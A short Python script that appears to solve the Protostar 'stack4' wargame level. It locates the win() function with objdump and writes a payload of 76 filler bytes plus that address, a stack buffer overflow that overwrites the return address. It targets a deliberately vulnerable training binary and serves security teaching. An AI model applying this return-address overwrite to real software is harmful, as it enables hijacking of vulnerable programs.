#!/usr/bin/python

import subprocess
import struct

# return the little endian byte ordering for x
def p32(x):
	return struct.pack('<I',x)

# return the address of the function needed
def getfpaddr(bin,func):
	p = subprocess.Popen(['/usr/bin/objdump','-t',bin], stdout=subprocess.PIPE)
	objdump = p.communicate()[0].splitlines()
	for line in objdump:
		linearr = line.split(" ")
		if linearr[len(linearr)-1] == func:
			return int(linearr[0],16)

# get the addr of the win() function
theaddr = getfpaddr('/opt/protostar/bin/stack4','win')
print "[*] found win function at: " + str(theaddr)

#payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae" + p32(theaddr)

payload = "A" * 76 + p32(theaddr)
print "[*] payload written to stack4.payload"
open('stack4.payload','wb').write(payload)
print "[*] run /opt/protostar/bin/stack4 < stack4.payload"
#p = subprocess.Popen(["/opt/protostar/bin/stack4"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
#print p.communicate(input=payload)[0]
